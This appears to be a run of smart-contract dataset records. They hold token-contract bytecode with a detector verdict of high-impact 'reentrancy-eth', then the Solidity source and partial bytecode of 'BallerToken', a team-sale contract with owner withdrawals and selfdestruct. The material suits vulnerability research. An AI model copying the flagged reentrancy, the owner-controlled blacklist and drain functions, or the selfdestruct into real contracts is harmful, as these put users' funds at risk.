0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461191b565b6105c6565b005b34801561020a57600080fd5b50604080518082018252600581526411d490525360da1b6020820152905161023291906119e0565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a35565b610665565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50673782dace9d9000005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a61565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611aa2565b6106e5565b34801561036657600080fd5b506101fc610375366004611acf565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611aa2565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611aea565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611aa2565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028b565b34801561045157600080fd5b506101fc610460366004611acf565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611aea565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611b03565b6108ff565b3480156104c757600080fd5b5061025b6104d6366004611a35565b61093d565b3480156104e757600080fd5b5061025b6104f6366004611aa2565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611b35565b61099e565b34801561054c57600080fd5b506102ba61055b366004611bb9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611aea565b610a3f565b3480156105b257600080fd5b506101fc6105c1366004611aa2565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611bf2565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611c27565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611c53565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611d6d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611bf2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611bf2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b0381166000908152600260205260408120546106769061122c565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611bf2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611bf2565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611bf2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611bf2565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611bf2565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112b0565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611bf2565b60005b82811015610a395781600560008686858181106109ea576109ea611c27565b90506020020160208101906109ff9190611aa2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611c53565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611bf2565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611bf2565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611c6e565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112b0565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a398484848461142a565b600081848411156111dc5760405162461bcd60e51b81526004016105f091906119e0565b5060006111e98486611c86565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061129d611458565b90506112a9838261147b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f8576112f8611c27565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190611c9d565b8160018151811061138857611388611c27565b6001600160a01b0392831660209182029290920101526014546113ae9130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e7908590600090869030904290600401611cba565b600060405180830381600087803b15801561140157600080fd5b505af1158015611415573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611437576114376114bd565b6114428484846114eb565b80610a3957610a39600e54600c55600f54600d55565b60008060006114656115e2565b9092509050611474828261147b565b9250505090565b60006112a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611622565b600c541580156114cd5750600d54155b156114d457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114fd87611650565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152f90876116ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155e90866116ef565b6001600160a01b0389166000908152600260205260409020556115808161174e565b61158a8483611798565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115cf91815260200190565b60405180910390a3505050505050505050565b6006546000908190673782dace9d9000006115fd828261147b565b82101561161957505060065492673782dace9d90000092509050565b90939092509050565b600081836116435760405162461bcd60e51b81526004016105f091906119e0565b5060006111e98486611d2b565b600080600080600080600080600061166d8a600c54600d546117bc565b925092509250600061167d611458565b905060008060006116908e878787611811565b919e509c509a509598509396509194505050505091939550919395565b60006112a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b6000806116fc8385611c6e565b9050838110156112a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b6000611758611458565b905060006117668383611861565b3060009081526002602052604090205490915061178390826116ef565b30600090815260026020526040902055505050565b6006546117a590836116ad565b6006556007546117b590826116ef565b6007555050565b60008080806117d660646117d08989611861565b9061147b565b905060006117e960646117d08a89611861565b90506000611801826117fb8b866116ad565b906116ad565b9992985090965090945050505050565b60008080806118208886611861565b9050600061182e8887611861565b9050600061183c8888611861565b9050600061184e826117fb86866116ad565b939b939a50919850919650505050505050565b60008261187057506000610676565b600061187c8385611d4d565b9050826118898583611d2b565b146112a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b8035611916816118f6565b919050565b6000602080838503121561192e57600080fd5b823567ffffffffffffffff8082111561194657600080fd5b818501915085601f83011261195a57600080fd5b81358181111561196c5761196c6118e0565b8060051b604051601f19603f83011681018181108582111715611991576119916118e0565b6040529182528482019250838101850191888311156119af57600080fd5b938501935b828510156119d4576119c58561190b565b845293850193928501926119b4565b98975050505050505050565b600060208083528351808285015260005b81811015611a0d578581018301518582016040015282016119f1565b81811115611a1f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4857600080fd5b8235611a53816118f6565b946020939093013593505050565b600080600060608486031215611a7657600080fd5b8335611a81816118f6565b92506020840135611a91816118f6565b929592945050506040919091013590565b600060208284031215611ab457600080fd5b81356112a9816118f6565b8035801515811461191657600080fd5b600060208284031215611ae157600080fd5b6112a982611abf565b600060208284031215611afc57600080fd5b5035919050565b60008060008060808587031215611b1957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b4a57600080fd5b833567ffffffffffffffff80821115611b6257600080fd5b818601915086601f830112611b7657600080fd5b813581811115611b8557600080fd5b8760208260051b8501011115611b9a57600080fd5b602092830195509350611bb09186019050611abf565b90509250925092565b60008060408385031215611bcc57600080fd5b8235611bd7816118f6565b91506020830135611be7816118f6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c6757611c67611c3d565b5060010190565b60008219821115611c8157611c81611c3d565b500190565b600082821015611c9857611c98611c3d565b500390565b600060208284031215611caf57600080fd5b81516112a9816118f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d0a5784516001600160a01b031683529383019391830191600101611ce5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6757611d67611c3d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a96ed078aa74be8fec4b5147de2ae1e406b868efc9e695b252794ddf3cb33f1b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,447 |
0xf9bea6a897f842bbe90562b06a0a13b1890b688c
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BallerToken is Ownable, Destructible {
using SafeMath for uint;
/*** EVENTS ***/
// @dev Fired whenever a new Baller token is created for the first time.
event BallerCreated(uint256 tokenId, string name, address owner);
// @dev Fired whenever a Baller token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address newOwner, string name);
// @dev Fired whenever a team is transfered from one owner to another
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
uint constant private DEFAULT_START_PRICE = 0.01 ether;
uint constant private FIRST_PRICE_LIMIT = 0.5 ether;
uint constant private SECOND_PRICE_LIMIT = 2 ether;
uint constant private THIRD_PRICE_LIMIT = 5 ether;
uint constant private FIRST_COMMISSION_LEVEL = 5;
uint constant private SECOND_COMMISSION_LEVEL = 4;
uint constant private THIRD_COMMISSION_LEVEL = 3;
uint constant private FOURTH_COMMISSION_LEVEL = 2;
uint constant private FIRST_LEVEL_INCREASE = 200;
uint constant private SECOND_LEVEL_INCREASE = 135;
uint constant private THIRD_LEVEL_INCREASE = 125;
uint constant private FOURTH_LEVEL_INCREASE = 115;
/*** STORAGE ***/
// @dev maps team id to address of who owns it
mapping (uint => address) public teamIndexToOwner;
// @dev maps team id to a price
mapping (uint => uint) private teamIndexToPrice;
// @dev maps address to how many tokens they own
mapping (address => uint) private ownershipTokenCount;
/*** DATATYPES ***/
//@dev struct for a baller team
struct Team {
string name;
}
//@dev array which holds each team
Team[] private ballerTeams;
/*** PUBLIC FUNCTIONS ***/
/**
* @dev public function to create team, can only be called by owner of smart contract
* @param _name the name of the team
*/
function createTeam(string _name, uint _price) public onlyOwner {
_createTeam(_name, this, _price);
}
/**
* @dev Returns all the relevant information about a specific team.
* @param _tokenId The ID of the team.
* @return teamName the name of the team.
* @return currPrice what the team is currently worth.
* @return owner address of whoever owns the team
*/
function getTeam(uint _tokenId) public view returns(string teamName, uint currPrice, address owner) {
Team storage currTeam = ballerTeams[_tokenId];
teamName = currTeam.name;
currPrice = teamIndexToPrice[_tokenId];
owner = ownerOf(_tokenId);
}
/**
* @dev changes the name of a specific team.
* @param _tokenId The id of the team which you want to change.
* @param _newName The name you want to set the team to be.
*/
function changeTeamName(uint _tokenId, string _newName) public onlyOwner {
require(_tokenId < ballerTeams.length);
ballerTeams[_tokenId].name = _newName;
}
/**
* @dev sends all ethereum in this contract to the address specified
* @param _to address you want the eth to be sent to
*/
function payout(address _to) public onlyOwner {
_withdrawAmount(_to, this.balance);
}
/**
* @dev Function to send some amount of ethereum out of the contract to an address
* @param _to address the eth will be sent to
* @param _amount amount you want to withdraw
*/
function withdrawAmount(address _to, uint _amount) public onlyOwner {
_withdrawAmount(_to, _amount);
}
/**
* @dev Function to get price of a team
* @param _teamId of team
* @return price price of team
*/
function priceOfTeam(uint _teamId) public view returns (uint price, uint teamId) {
price = teamIndexToPrice[_teamId];
teamId = _teamId;
}
/**
* @dev Gets list of teams owned by a person.
* @dev note: don't want to call this in the smart contract, expensive op.
* @param _owner address of the owner
* @return ownedTeams list of the teams owned by the owner
*/
function getTeamsOfOwner(address _owner) public view returns (uint[] ownedTeams) {
uint tokenCount = balanceOf(_owner);
ownedTeams = new uint[](tokenCount);
uint totalTeams = totalSupply();
uint resultIndex = 0;
if (tokenCount != 0) {
for (uint pos = 0; pos < totalTeams; pos++) {
address currOwner = ownerOf(pos);
if (currOwner == _owner) {
ownedTeams[resultIndex] = pos;
resultIndex++;
}
}
}
}
/*
* @dev gets the address of owner of the team
* @param _tokenId is id of the team
* @return owner the owner of the team's address
*/
function ownerOf(uint _tokenId) public view returns (address owner) {
owner = teamIndexToOwner[_tokenId];
require(owner != address(0));
}
/*
* @dev gets how many tokens an address owners
* @param _owner is address of owner
* @return numTeamsOwned how much teams he has
*/
function balanceOf(address _owner) public view returns (uint numTeamsOwned) {
numTeamsOwned = ownershipTokenCount[_owner];
}
/*
* @dev gets total number of teams
* @return totalNumTeams which is the number of teams
*/
function totalSupply() public view returns (uint totalNumTeams) {
totalNumTeams = ballerTeams.length;
}
/**
* @dev Allows user to buy a team from the old owner.
* @dev Pays old owner minus commission, updates price.
* @param _teamId id of the team they're trying to buy
*/
function purchase(uint _teamId) public payable {
address oldOwner = ownerOf(_teamId);
address newOwner = msg.sender;
uint sellingPrice = teamIndexToPrice[_teamId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint payment = _calculatePaymentToOwner(sellingPrice);
uint excessPayment = msg.value.sub(sellingPrice);
uint newPrice = _calculateNewPrice(sellingPrice);
teamIndexToPrice[_teamId] = newPrice;
_transfer(oldOwner, newOwner, _teamId);
// Pay old tokenOwner, unless it's the smart contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
newOwner.transfer(excessPayment);
string memory teamName = ballerTeams[_teamId].name;
TokenSold(_teamId, sellingPrice, newPrice, oldOwner, newOwner, teamName);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/**
* @dev Internal function to send some amount of ethereum out of the contract to an address
* @param _to address the eth will be sent to
* @param _amount amount you want to withdraw
*/
function _withdrawAmount(address _to, uint _amount) private {
require(this.balance >= _amount);
if (_to == address(0)) {
owner.transfer(_amount);
} else {
_to.transfer(_amount);
}
}
/**
* @dev internal function to create team
* @param _name the name of the team
* @param _owner the owner of the team
* @param _startingPrice the price of the team at the beginning
*/
function _createTeam(string _name, address _owner, uint _startingPrice) private {
Team memory currTeam = Team(_name);
uint newTeamId = ballerTeams.push(currTeam) - 1;
// make sure we never overflow amount of tokens possible to be created
// 4 billion tokens...shouldn't happen.
require(newTeamId == uint256(uint32(newTeamId)));
BallerCreated(newTeamId, _name, _owner);
teamIndexToPrice[newTeamId] = _startingPrice;
_transfer(address(0), _owner, newTeamId);
}
/**
* @dev internal function to transfer ownership of team
* @param _from original owner of token
* @param _to the new owner
* @param _teamId id of the team
*/
function _transfer(address _from, address _to, uint _teamId) private {
ownershipTokenCount[_to]++;
teamIndexToOwner[_teamId] = _to;
// Creation of new team causes _from to be 0
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
Transfer(_from, _to, _teamId);
}
/**
* @dev internal function to calculate how much to give to owner of contract
* @param _sellingPrice the current price of the team
* @return payment amount the owner gets after commission.
*/
function _calculatePaymentToOwner(uint _sellingPrice) private pure returns (uint payment) {
if (_sellingPrice < FIRST_PRICE_LIMIT) {
payment = uint256(_sellingPrice.mul(100-FIRST_COMMISSION_LEVEL).div(100));
}
else if (_sellingPrice < SECOND_PRICE_LIMIT) {
payment = uint256(_sellingPrice.mul(100-SECOND_COMMISSION_LEVEL).div(100));
}
else if (_sellingPrice < THIRD_PRICE_LIMIT) {
payment = uint256(_sellingPrice.mul(100-THIRD_COMMISSION_LEVEL).div(100));
}
else {
payment = uint256(_sellingPrice.mul(100-FOURTH_COMMISSION_LEVEL).div(100));
}
}
/**
* @dev internal function to calculate how much the new price is
* @param _sellingPrice the current price of the team.
* @return newPrice price the team will be worth after being bought.
*/
function _calculateNewPrice(uint _sellingPrice) private pure returns (uint newPrice) {
if (_sellingPrice < FIRST_PRICE_LIMIT) {
newPrice = uint256(_sellingPrice.mul(FIRST_LEVEL_INCREASE).div(100));
}
else if (_sellingPrice < SECOND_PRICE_LIMIT) {
newPrice = uint256(_sellingPrice.mul(SECOND_LEVEL_INCREASE).div(100));
}
else if (_sellingPrice < THIRD_PRICE_LIMIT) {
newPrice = uint256(_sellingPrice.mul(THIRD_LEVEL_INCREASE).div(100));
}
else {
newPrice = uint256(_sellingPrice.mul(FOURTH_LEVEL_INCREASE).div(100));
}
}
}
|
0x6060604052600436106100e5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680628e0f1b146100ea5780630b7e9c44146101c057806318160ddd146101f95780636352211e1461022257806370a0823114610285578063736fe565146102d25780637525cd901461031457806383197ef0146103775780638da5cb5b1461038c57806392f461ed146103e1578063a7fb95f61461046f578063ad8ead69146104d5578063cc6eced71461053b578063efef39a114610579578063f2fde38b14610591578063f5074f41146105ca575b600080fd5b34156100f557600080fd5b61010b6004808035906020019091905050610603565b60405180806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b83811015610183578082015181840152602081019050610168565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156101cb57600080fd5b6101f7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106f4565b005b341561020457600080fd5b61020c610773565b6040518082815260200191505060405180910390f35b341561022d57600080fd5b6102436004808035906020019091905050610780565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561029057600080fd5b6102bc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107f9565b6040518082815260200191505060405180910390f35b34156102dd57600080fd5b610312600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610842565b005b341561031f57600080fd5b61033560048080359060200190919050506108ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038257600080fd5b61038a6108de565b005b341561039757600080fd5b61039f610973565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ec57600080fd5b610418600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610998565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561045b578082015181840152602081019050610440565b505050509050019250505060405180910390f35b341561047a57600080fd5b6104d3600480803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610a76565b005b34156104e057600080fd5b610539600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610b1a565b005b341561054657600080fd5b61055c6004808035906020019091905050610b84565b604051808381526020018281526020019250505060405180910390f35b61058f6004808035906020019091905050610ba5565b005b341561059c57600080fd5b6105c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f19565b005b34156105d557600080fd5b610601600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061106e565b005b61060b6117c0565b600080600060048581548110151561061f57fe5b90600052602060002090019050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c45780601f10610699576101008083540402835291602001916106c4565b820191906000526020600020905b8154815290600101906020018083116106a757829003601f168201915b50505050509350600260008681526020019081526020016000205492506106ea85610780565b9150509193909250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074f57600080fd5b610770813073ffffffffffffffffffffffffffffffffffffffff16316110e2565b50565b6000600480549050905090565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107f457600080fd5b919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089d57600080fd5b6108a782826110e2565b5050565b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109a06117d4565b60008060008060006109b1876107f9565b9450846040518059106109c15750595b908082528060200260200182016040525095506109dc610773565b935060009250600085141515610a6c57600091505b83821015610a6b57610a0282610780565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a5e57818684815181101515610a4757fe5b906020019060200201818152505082806001019350505b81806001019250506109f1565b5b5050505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad157600080fd5b60048054905082101515610ae457600080fd5b80600483815481101515610af457fe5b90600052602060002090016000019080519060200190610b159291906117e8565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7557600080fd5b610b808230836111e8565b5050565b60008060026000848152602001908152602001600020549150829050915091565b600080600080600080610bb66117c0565b610bbf88610780565b9650339550600260008981526020019081526020016000205494508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614151515610c1557600080fd5b610c1e86611366565b1515610c2957600080fd5b843410151515610c3857600080fd5b610c418561139f565b9350610c56853461149890919063ffffffff16565b9250610c61856114b1565b915081600260008a815260200190815260200160002081905550610c8687878a61159e565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141515610cfc578673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501515610cfb57600080fd5b5b8573ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610d3c57600080fd5b600488815481101515610d4b57fe5b90600052602060002090016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ded5780601f10610dc257610100808354040283529160200191610ded565b820191906000526020600020905b815481529060010190602001808311610dd057829003601f168201915b505050505090507e8201e7bcbf010c2c07de59d6e97cb7e3cf67a46125c49cbc89b9d2cde1f48f8886848a8a86604051808781526020018681526020018581526